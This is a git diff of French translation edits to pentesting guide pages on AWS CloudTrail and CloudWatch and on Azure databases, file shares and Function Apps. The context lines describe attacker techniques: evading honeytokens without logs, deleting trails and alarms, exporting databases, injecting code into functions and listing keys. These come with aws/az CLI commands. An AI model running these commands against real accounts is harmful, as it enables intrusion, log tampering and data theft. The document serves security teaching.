| Stop unauthorized access | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès administrateur</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul> |
|
||||
| Prevent log files from being deleted | <ul><li>Restreindre l'accès à la suppression avec IAM et les politiques de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul> |
|
||||
|
||||
## Conseiller d'accès
|
||||
## Access Advisor
|
||||
|
||||
Le Conseiller d'accès AWS s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour recueillir ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Le Conseiller d'accès utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, le Conseiller d'accès peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **le raffinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels.
|
||||
AWS Access Advisor s'appuie sur les 400 derniers jours de journaux **CloudTrail AWS pour rassembler ses insights**. CloudTrail capture un historique des appels API AWS et des événements connexes effectués dans un compte AWS. Access Advisor utilise ces données pour **montrer quand les services ont été accédés pour la dernière fois**. En analysant les journaux CloudTrail, Access Advisor peut déterminer quels services AWS un utilisateur ou un rôle IAM a accédés et quand cet accès a eu lieu. Cela aide les administrateurs AWS à prendre des décisions éclairées sur **l'affinement des autorisations**, car ils peuvent identifier les services qui n'ont pas été accédés pendant de longues périodes et potentiellement réduire des autorisations trop larges en fonction des modèles d'utilisation réels.
|
||||
|
||||
> [!TIP]
|
||||
> Par conséquent, le Conseiller d'accès informe sur **les autorisations inutiles accordées aux utilisateurs** afin que l'administrateur puisse les supprimer
|
||||
> Par conséquent, Access Advisor informe sur **les autorisations inutiles accordées aux utilisateurs** afin que l'administrateur puisse les supprimer
|
||||
|
||||
<figure><img src="../../../../images/image (78).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Actions
|
||||
|
||||
### Énumération
|
||||
### Enumeration
|
||||
```bash
|
||||
# Get trails info
|
||||
aws cloudtrail list-trails
|
||||
@@ -144,13 +144,13 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript
|
||||
|
||||
Pour plus d'informations sur cette technique spécifique, consultez [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)
|
||||
|
||||
## **Contourner la détection**
|
||||
## **Contourner la Détection**
|
||||
|
||||
### Bypass des HoneyTokens
|
||||
|
||||
Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée**. Si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.
|
||||
Les Honeytokens sont créés pour **détecter l'exfiltration d'informations sensibles**. Dans le cas d'AWS, ce sont des **clés AWS dont l'utilisation est surveillée** ; si quelque chose déclenche une action avec cette clé, alors quelqu'un doit avoir volé cette clé.
|
||||
|
||||
Cependant, les Honeytokens comme ceux créés par [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom de compte et/ou l'ID de compte sans faire créer de journal par Cloudtrail, **vous pourriez savoir si la clé est un honeytoken ou non**.
|
||||
Cependant, les Honeytokens comme ceux créés par [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) utilisent soit un nom de compte reconnaissable, soit le même ID de compte AWS pour tous leurs clients. Par conséquent, si vous pouvez obtenir le nom du compte et/ou l'ID du compte sans faire créer de journal par Cloudtrail, **vous pourriez savoir si la clé est un honeytoken ou non**.
|
||||
|
||||
[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) a quelques règles pour détecter si une clé appartient à [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:**
|
||||
|
||||
@@ -183,22 +183,22 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J
|
||||
```
|
||||
Vérifiez plus d'informations dans la [**recherche originale**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489).
|
||||
|
||||
#### Ne pas générer de log
|
||||
#### Ne pas générer de journal
|
||||
|
||||
La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service dans votre propre compte d'attaquant. Cela fera en sorte que **CloudTrail génère un log dans VOTRE PROPRE compte AWS et non dans celui des victimes**.
|
||||
La technique la plus efficace pour cela est en fait une simple. Utilisez simplement la clé que vous venez de trouver pour accéder à un service dans votre propre compte d'attaquant. Cela fera en sorte que **CloudTrail génère un journal dans VOTRE PROPRE compte AWS et non dans celui des victimes**.
|
||||
|
||||
Le fait est que la sortie vous montrera une erreur indiquant l'ID du compte et le nom du compte, donc **vous pourrez voir si c'est un Honeytoken**.
|
||||
|
||||
#### Services AWS sans logs
|
||||
#### Services AWS sans journaux
|
||||
|
||||
Dans le passé, il y avait certains **services AWS qui n'envoient pas de logs à CloudTrail** (trouvez une [liste ici](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Certains de ces services **répondront** avec une **erreur** contenant l'**ARN du rôle clé** si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.
|
||||
Dans le passé, il y avait certains **services AWS qui n'envoient pas de journaux à CloudTrail** (trouvez une [liste ici](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Certains de ces services **répondront** avec une **erreur** contenant l'**ARN du rôle clé** si quelqu'un non autorisé (la clé honeytoken) essaie d'y accéder.
|
||||
|
||||
De cette manière, un **attaquant peut obtenir l'ARN de la clé sans déclencher aucun log**. Dans l'ARN, l'attaquant peut voir l'**ID du compte AWS et le nom**, il est facile de connaître l'ID et les noms des comptes des entreprises HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.
|
||||
De cette manière, un **attaquant peut obtenir l'ARN de la clé sans déclencher aucun journal**. Dans l'ARN, l'attaquant peut voir l'**ID du compte AWS et le nom**, il est facile de connaître l'ID et les noms des comptes des entreprises du HoneyToken, ainsi un attaquant peut identifier si le token est un HoneyToken.
|
||||
|
||||
.png>)
|
||||
|
||||
> [!CAUTION]
|
||||
> Notez que toutes les API publiques découvertes ne créant pas de logs CloudTrail sont maintenant corrigées, donc vous devrez peut-être trouver les vôtres...
|
||||
> Notez que toutes les API publiques découvertes ne créant pas de journaux CloudTrail sont maintenant corrigées, donc vous devrez peut-être trouver les vôtres...
|
||||
>
|
||||
> Pour plus d'informations, consultez la [**recherche originale**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/).
|
||||
|
||||
@@ -216,7 +216,7 @@ Plus d'infos dans :
|
||||
|
||||
### Modification de la configuration de CloudTrail
|
||||
|
||||
#### Supprimer des trails
|
||||
#### Supprimer des pistes
|
||||
```bash
|
||||
aws cloudtrail delete-trail --name [trail-name]
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudWatch
|
||||
|
||||
**CloudWatch** **collecte** des données de surveillance et opérationnelles sous forme de journaux/métriques/événements, fournissant une **vue unifiée des ressources AWS**, des applications et des services.\
|
||||
**CloudWatch** **collecte** des données de surveillance et opérationnelles sous forme de journaux/métriques/événements fournissant une **vue unifiée des ressources AWS**, des applications et des services.\
|
||||
Les événements de journal CloudWatch ont une **limite de taille de 256 Ko par ligne de journal**.\
|
||||
Il peut définir des **alarms à haute résolution**, visualiser **les journaux** et **les métriques** côte à côte, prendre des actions automatisées, résoudre des problèmes et découvrir des insights pour optimiser les applications.
|
||||
|
||||
@@ -27,7 +27,7 @@ Un espace de noms est un conteneur pour les métriques CloudWatch. Il aide à ca
|
||||
|
||||
### Métriques
|
||||
|
||||
Les métriques sont des points de données collectés au fil du temps qui représentent la performance ou l'utilisation des ressources AWS. Les métriques peuvent être collectées à partir des services AWS, d'applications personnalisées ou d'intégrations tierces.
|
||||
Les métriques sont des points de données collectés au fil du temps qui représentent la performance ou l'utilisation des ressources AWS. Les métriques peuvent être collectées à partir des services AWS, des applications personnalisées ou des intégrations tierces.
|
||||
|
||||
- **Exemple** : CPUUtilization, NetworkIn, DiskReadOps.
|
||||
|
||||
@@ -39,7 +39,7 @@ Les dimensions sont des paires clé-valeur qui font partie des métriques. Elles
|
||||
|
||||
### Statistiques
|
||||
|
||||
Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et SampleCount.
|
||||
Les statistiques sont des calculs mathématiques effectués sur les données de métriques pour les résumer au fil du temps. Les statistiques courantes incluent Moyenne, Somme, Minimum, Maximum et Compte d'échantillons.
|
||||
|
||||
- **Exemple** : Calculer la moyenne d'utilisation du CPU sur une période d'une heure.
|
||||
|
||||
@@ -111,7 +111,7 @@ Les unités sont le type de mesure associé à une métrique. Les unités aident
|
||||
|
||||
**Exemple de cas d'utilisation** :
|
||||
|
||||
- Surveiller la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille les indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les I/O de disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée.
|
||||
- Surveillance de la performance RDS : Activer une règle d'insight gérée pour Amazon RDS qui surveille les indicateurs de performance clés tels que l'utilisation du CPU, l'utilisation de la mémoire et les entrées/sorties de disque. Si l'une de ces métriques dépasse des seuils opérationnels sûrs, la règle peut déclencher une alerte ou une action d'atténuation automatisée.
|
||||
|
||||
### Journaux CloudWatch <a href="#cloudwatch-logs" id="cloudwatch-logs"></a>
|
||||
|
||||
@@ -218,7 +218,7 @@ aws events list-event-buses
|
||||
|
||||
Un attaquant avec ces permissions pourrait considérablement compromettre l'infrastructure de surveillance et d'alerte d'une organisation. En supprimant des alarmes existantes, un attaquant pourrait désactiver des alertes cruciales qui notifient les administrateurs de problèmes de performance critiques, de violations de sécurité ou de pannes opérationnelles. De plus, en créant ou en modifiant des alarmes métriques, l'attaquant pourrait également induire les administrateurs en erreur avec de fausses alertes ou faire taire des alarmes légitimes, masquant ainsi efficacement des activités malveillantes et empêchant des réponses rapides à des incidents réels.
|
||||
|
||||
De plus, avec la permission **`cloudwatch:PutCompositeAlarm`**, un attaquant serait capable de créer une boucle ou un cycle d'alarmes composites, où l'alarme composite A dépend de l'alarme composite B, et l'alarme composite B dépend également de l'alarme composite A. Dans ce scénario, il n'est pas possible de supprimer une alarme composite qui fait partie du cycle car il y a toujours une alarme composite qui dépend de cette alarme que vous souhaitez supprimer.
|
||||
De plus, avec la permission **`cloudwatch:PutCompositeAlarm`**, un attaquant serait en mesure de créer une boucle ou un cycle d'alarmes composites, où l'alarme composite A dépend de l'alarme composite B, et l'alarme composite B dépend également de l'alarme composite A. Dans ce scénario, il n'est pas possible de supprimer une alarme composite qui fait partie du cycle car il y a toujours une alarme composite qui dépend de cette alarme que vous souhaitez supprimer.
|
||||
```bash
|
||||
aws cloudwatch put-metric-alarm --cli-input-json <value> | --alarm-name <value> --comparison-operator <value> --evaluation-periods <value> [--datapoints-to-alarm <value>] [--threshold <value>] [--alarm-description <value>] [--alarm-actions <value>] [--metric-name <value>] [--namespace <value>] [--statistic <value>] [--dimensions <value>] [--period <value>]
|
||||
aws cloudwatch delete-alarms --alarm-names <value>
|
||||
@@ -279,7 +279,7 @@ L'exemple suivant montre comment rendre une alarme de métrique inefficace :
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiels non détectés, fausses alertes, suppression d'alertes réelles et détections potentiellement manquées d'incidents réels.
|
||||
**Impact potentiel** : Manque de notifications pour des événements critiques, problèmes potentiels non détectés, fausses alertes, suppression d'alertes authentiques et détections potentiellement manquées d'incidents réels.
|
||||
|
||||
### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`**
|
||||
|
||||
@@ -297,7 +297,7 @@ aws cloudwatch set-alarm-state --alarm-name <value> --state-value <OK | ALARM |
|
||||
|
||||
### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`**
|
||||
|
||||
Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou des anomalies inhabituels dans les données métriques. En supprimant des détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance.
|
||||
Un attaquant pourrait compromettre la capacité de détection et de réponse à des modèles ou anomalies inhabituels dans les données métriques. En supprimant des détecteurs d'anomalies existants, un attaquant pourrait désactiver des mécanismes d'alerte critiques ; et en les créant ou en les modifiant, il pourrait soit mal configurer, soit créer de faux positifs afin de distraire ou de submerger la surveillance.
|
||||
```bash
|
||||
aws cloudwatch delete-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value>]
|
||||
aws cloudwatch put-anomaly-detector [--cli-input-json <value> | --namespace <value> --metric-name <value> --dimensions <value> --stat <value> --configuration <value> --metric-characteristics <value>]
|
||||
@@ -374,7 +374,7 @@ aws cloudwatch put-managed-insight-rules --managed-rules <value>
|
||||
|
||||
### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`**
|
||||
|
||||
En désactivant des règles d'insight critiques, un attaquant pourrait effectivement aveugler l'organisation sur des indicateurs clés de performance et de sécurité. Inversement, en activant ou en configurant des règles trompeuses, il pourrait être possible de générer des données fausses, de créer du bruit ou de cacher une activité malveillante.
|
||||
En désactivant des règles d'insight critiques, un attaquant pourrait effectivement aveugler l'organisation sur des métriques clés de performance et de sécurité. Inversement, en activant ou en configurant des règles trompeuses, il pourrait être possible de générer des données fausses, de créer du bruit ou de cacher une activité malveillante.
|
||||
```bash
|
||||
aws cloudwatch disable-insight-rules --rule-names <value>
|
||||
aws cloudwatch enable-insight-rules --rule-names <value>
|
||||
@@ -395,15 +395,15 @@ aws cloudwatch delete-metric-stream --name <value>
|
||||
aws cloudwatch put-metric-stream --name <value> [--include-filters <value>] [--exclude-filters <value>] --firehose-arn <value> --role-arn <value> --output-format <value>
|
||||
aws cloudwatch put-metric-data --namespace <value> [--metric-data <value>] [--metric-name <value>] [--timestamp <value>] [--unit <value>] [--value <value>] [--dimensions <value>]
|
||||
```
|
||||
Exemple d'ajout de données correspondant à 70 % d'utilisation du CPU sur une instance EC2 donnée :
|
||||
Exemple d'ajout de données correspondant à une utilisation de 70 % du CPU sur une instance EC2 donnée :
|
||||
```bash
|
||||
aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg"
|
||||
```
|
||||
**Impact potentiel** : Perturbation du flux de données de surveillance, affectant la détection des anomalies et des incidents, manipulation des ressources et augmentation des coûts en raison de la création de flux de métriques excessifs.
|
||||
**Impact potentiel** : Disruption dans le flux de données de surveillance, impactant la détection des anomalies et des incidents, manipulation des ressources et augmentation des coûts en raison de la création de flux de métriques excessifs.
|
||||
|
||||
### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`**
|
||||
|
||||
Un attaquant contrôlerait le flux des flux de données métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressources). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques.
|
||||
Un attaquant contrôlerait le flux des flux de données métriques affectés (chaque flux de données s'il n'y a pas de restriction de ressource). Avec la permission **`cloudwatch:StopMetricStreams`**, les attaquants pourraient cacher leurs activités malveillantes en arrêtant des flux de métriques critiques.
|
||||
```bash
|
||||
aws cloudwatch stop-metric-streams --names <value>
|
||||
aws cloudwatch start-metric-streams --names <value>
|
||||
|
||||
@@ -56,7 +56,7 @@ az cosmosdb failover-priority-change \
|
||||
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/regenerateKey/action`
|
||||
Avec cette autorisation, vous pouvez régénérer les clés primaire ou secondaire pour un compte Azure Cosmos DB. Cela est généralement utilisé pour améliorer la sécurité en remplaçant les anciennes clés, mais cela peut perturber l'accès pour les services ou applications qui dépendent des clés actuelles.
|
||||
Avec cette autorisation, vous pouvez régénérer les clés primaire ou secondaire pour un compte Azure Cosmos DB. Cela est généralement utilisé pour améliorer la sécurité en remplaçant les anciennes clés, mais cela peut perturber l'accès aux services ou applications qui dépendent des clés actuelles.
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
@@ -79,7 +79,7 @@ az cosmosdb sql trigger create \
|
||||
--operation All
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read`
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées au sein d'un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique pour le traitement des données ou l'exécution d'opérations directement au sein de la base de données.
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des procédures stockées dans un conteneur d'une base de données SQL dans un compte Azure Cosmos DB. Les procédures stockées dans Cosmos DB sont des fonctions JavaScript côté serveur qui vous permettent d'encapsuler la logique pour le traitement des données ou l'exécution d'opérations directement dans la base de données.
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
Exploitation Post-Fichier de Partage
|
||||
|
||||
Pour plus d'informations sur les fichiers partagés, consultez :
|
||||
Pour plus d'informations sur les partages de fichiers, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -12,7 +12,7 @@ Pour plus d'informations sur les fichiers partagés, consultez :
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read`
|
||||
|
||||
Un principal avec cette permission pourra **lister** les fichiers à l'intérieur d'un fichier partagé et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
|
||||
Un principal avec cette permission pourra **lister** les fichiers à l'intérieur d'un partage de fichiers et **télécharger** les fichiers qui pourraient contenir des **informations sensibles**.
|
||||
```bash
|
||||
# List files inside an azure file share
|
||||
az storage file list \
|
||||
|
||||
@@ -38,7 +38,7 @@ az mysql flexible-server threat-protection-policy update \
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/firewallRules/write`
|
||||
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur MySQL Flexible sur Azure. Cela permet de contrôler quels adresses IP ou plages peuvent accéder au serveur. Une utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur MySQL Flexible sur Azure. Cela permet de contrôler quels adresses IP ou plages peuvent accéder au serveur. L'utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
|
||||
@@ -29,7 +29,7 @@ az postgres flexible-server backup create \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Postgres Flexible Server sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles.
|
||||
Avec cette autorisation, vous pouvez configurer ou mettre à jour les paramètres de Protection Avancée contre les Menaces (ATP) pour une instance de Serveur Flexible Postgres sur Azure. Cela permet d'activer ou de désactiver des fonctionnalités de sécurité conçues pour détecter et répondre à des activités anormales et à des menaces potentielles.
|
||||
```bash
|
||||
az postgres flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
@@ -38,7 +38,7 @@ az postgres flexible-server threat-protection-policy update \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur flexible Postgres sur Azure. Cela permet de contrôler quels adresses IP ou plages peuvent accéder au serveur. L'utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
|
||||
Avec cette autorisation, vous pouvez créer ou modifier des règles de pare-feu pour une instance de serveur flexible Postgres sur Azure. Cela permet de contrôler quelles adresses IP ou plages peuvent accéder au serveur. Une utilisation non autorisée ou inappropriée de cette autorisation pourrait exposer le serveur à un accès indésirable ou malveillant.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
|
||||
@@ -22,7 +22,7 @@ az sql db update --resource-group <resource-group> --server <server-name> --name
|
||||
```
|
||||
### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read`
|
||||
|
||||
Avec ces autorisations, un attaquant peut créer et mettre à jour des elasticPools au sein de l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
|
||||
Avec ces autorisations, un attaquant peut créer et mettre à jour des elasticPools dans l'environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d'ajouter des données malveillantes, de modifier les configurations de la base de données ou d'insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
@@ -62,7 +62,7 @@ az sql server connection-policy update \
|
||||
```
|
||||
### `Microsoft.Sql/servers/databases/export/action`
|
||||
|
||||
Avec cette autorisation, vous pouvez exporter une base de données d'un Azure SQL Server vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l'exportant vers un emplacement qu'il contrôle, ce qui représente un risque de violation de données significatif. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
|
||||
Avec cette autorisation, vous pouvez exporter une base de données d'un serveur Azure SQL vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l'exportant vers un emplacement qu'il contrôle, ce qui représente un risque de violation de données significatif. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
Check the following page for more information:
|
||||
Consultez la page suivante pour plus d'informations :
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
@@ -20,7 +20,7 @@ Une fois que vous avez trouvé où le code de la fonction est situé, si vous av
|
||||
|
||||
Le code de la fonction est généralement stocké à l'intérieur d'un partage de fichiers. Avec suffisamment d'accès, il est possible de modifier le fichier de code et **de faire charger à la fonction un code arbitraire**, permettant d'élever les privilèges aux identités gérées attachées à la fonction.
|
||||
|
||||
Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir de
|
||||
Cette méthode de déploiement configure généralement les paramètres **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** et **`WEBSITE_CONTENTSHARE`** que vous pouvez obtenir à partir de
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
@@ -55,14 +55,14 @@ az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
Cette configuration contiendra généralement une **URL SAS pour télécharger** le code depuis le compte de stockage.
|
||||
Cette configuration contiendra généralement une **SAS URL pour télécharger** le code depuis le compte de stockage.
|
||||
|
||||
> [!CAUTION]
|
||||
> Avec suffisamment de permissions pour se connecter au conteneur blob qui **contient le code en zip**, il est possible d'exécuter du code arbitraire dans la fonction et d'escalader les privilèges.
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le compte de stockage contenant un zip du code et une URL SAS vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
Tout comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier **`github-actions-deploy`** dans le compte de stockage contenant un zip du code et une SAS URL vers le zip dans le paramètre `WEBSITE_RUN_FROM_PACKAGE`.
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` et `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
@@ -118,7 +118,7 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
Cette permission permet de lister les clés de fonction, maître et système, mais pas la clé hôte, de la fonction spécifiée avec :
|
||||
Cette autorisation permet de lister les clés de fonction, maître et système, mais pas la clé d'hôte, de la fonction spécifiée avec :
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
@@ -157,7 +157,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
Cette autorisation permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
|
||||
Cette permission permet de créer/met à jour une clé maître pour la fonction spécifiée avec :
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
@@ -176,7 +176,7 @@ Cette permission permet d'obtenir les paramètres d'une fonction. Dans ces confi
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (s'ils sont activés) avec :
|
||||
De plus, cette autorisation permet également d'obtenir le **nom d'utilisateur et le mot de passe SCM** (si activé) avec :
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
@@ -185,7 +185,7 @@ az rest --method POST \
|
||||
|
||||
Ces permissions permettent de lister les valeurs de configuration d'une fonction comme nous l'avons vu précédemment, en plus de **modifier ces valeurs**. Cela est utile car ces paramètres indiquent où se trouve le code à exécuter à l'intérieur de la fonction.
|
||||
|
||||
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
|
||||
Il est donc possible de définir la valeur du paramètre **`WEBSITE_RUN_FROM_PACKAGE`** pointant vers un fichier zip d'URL contenant le nouveau code à exécuter à l'intérieur d'une application web :
|
||||
|
||||
- Commencez par obtenir la configuration actuelle
|
||||
```bash
|
||||
@@ -226,7 +226,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des identifiants d'authentification de base** :
|
||||
Cette autorisation permet de lister tous les profils de publication qui contiennent essentiellement **des informations d'identification d'authentification de base** :
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -279,7 +279,7 @@ _Remarque que le **nom d'utilisateur SCM** est généralement le caractère "$"
|
||||
|
||||
Vous pouvez également accéder à la page web depuis `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
Les valeurs des paramètres contiennent la **AccountKey** du compte de stockage qui stocke les données de l'application de fonction, permettant de contrôler ce compte de stockage.
|
||||
